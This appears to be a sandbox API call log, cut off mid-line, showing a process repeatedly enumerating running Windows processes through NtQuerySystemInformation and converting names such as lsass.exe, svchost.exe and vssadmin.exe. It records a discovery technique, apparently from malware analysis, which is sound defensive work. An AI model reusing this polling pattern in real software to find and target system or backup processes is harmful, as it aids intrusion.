[0177.677] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0177.677] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.678] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0177.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.678] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0177.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.678] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0177.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.678] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0177.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.679] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0177.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.679] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0177.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.679] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0177.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.679] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0177.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.680] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0177.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.680] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0177.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.680] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0177.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.681] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0177.681] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.681] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0177.681] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.681] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0177.681] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.682] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0177.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.682] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0177.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.682] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0177.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.683] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0177.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.683] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x16318) returned 0x33d60f0 [0177.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0177.684] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0177.684] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0880 [0177.684] RtlFreeAnsiString (AnsiString="System") [0177.684] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0177.684] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1de0 [0177.684] RtlFreeAnsiString (AnsiString="smss.exe") [0177.684] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0177.684] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e88 [0177.684] RtlFreeAnsiString (AnsiString="csrss.exe") [0177.684] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0177.684] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0177.684] RtlFreeAnsiString (AnsiString="wininit.exe") [0177.684] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0177.684] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e10 [0177.684] RtlFreeAnsiString (AnsiString="csrss.exe") [0177.684] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0177.684] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0177.684] RtlFreeAnsiString (AnsiString="winlogon.exe") [0177.684] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0177.685] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0177.685] RtlFreeAnsiString (AnsiString="services.exe") [0177.685] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0177.685] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e58 [0177.685] RtlFreeAnsiString (AnsiString="lsass.exe") [0177.685] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0177.685] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1df8 [0177.685] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0177.685] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0177.685] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0177.685] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0177.685] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.685] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0177.685] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.685] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e10) returned 1 [0177.685] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.685] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0177.685] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.685] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e88) returned 1 [0177.685] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0177.685] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0570 [0177.685] RtlFreeAnsiString (AnsiString="dwm.exe") [0177.685] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.685] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0177.686] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.686] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0177.686] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.686] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0177.686] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.686] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0177.686] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.686] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0177.686] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.686] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0177.686] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.686] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0177.686] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.686] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0177.686] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.686] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0177.686] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.686] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0177.686] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.686] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0177.686] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.686] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0177.686] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.686] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0177.686] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.686] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0177.686] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.686] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0177.686] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.687] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e10) returned 1 [0177.687] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.687] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0177.687] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.687] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0177.687] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.687] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0177.687] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.687] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e10) returned 1 [0177.687] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0177.687] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0177.687] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0177.687] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.687] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0177.687] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.687] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0177.687] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0177.687] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0177.687] RtlFreeAnsiString (AnsiString="audiodg.exe") [0177.687] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0177.687] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e28 [0177.687] RtlFreeAnsiString (AnsiString="sihost.exe") [0177.687] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0177.687] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0177.687] RtlFreeAnsiString (AnsiString="svchost.exe") [0177.687] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0177.688] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0177.688] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1a18 [0177.688] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0177.688] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0177.688] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf38 [0177.688] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0177.688] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0177.688] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1a18 [0177.688] RtlFreeAnsiString (AnsiString="Memory Compression") [0177.688] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0177.688] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e40 [0177.688] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0177.688] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0177.688] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0177.688] RtlFreeAnsiString (AnsiString="explorer.exe") [0177.688] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0177.688] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0177.688] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0177.688] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0177.688] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0177.688] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d17f8 [0177.688] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0177.688] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0177.688] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1ab8 [0177.689] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0177.689] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0177.689] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0177.689] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0177.689] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0177.689] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0177.689] RtlFreeAnsiString (AnsiString="explorer.exe") [0177.689] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0177.689] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0177.689] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0177.689] RtlFreeAnsiString (AnsiString="explorer.exe") [0177.689] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0177.689] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0177.689] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0177.689] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0177.689] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0177.689] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0177.689] RtlFreeAnsiString (AnsiString="conhost.exe") [0177.689] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0177.689] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0177.689] RtlFreeAnsiString (AnsiString="dllhost.exe") [0177.689] Sleep (dwMilliseconds=0x64) [0178.165] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0178.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.166] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0178.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.167] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0178.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.167] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0178.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.167] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0178.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.167] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0178.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.168] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0178.168] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.168] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0178.168] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.168] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0178.168] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.169] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0178.169] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.169] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0178.169] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.169] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0178.169] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.170] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0178.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.170] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0178.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.170] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0178.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.171] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0178.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.171] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0178.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.171] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0178.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.172] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, 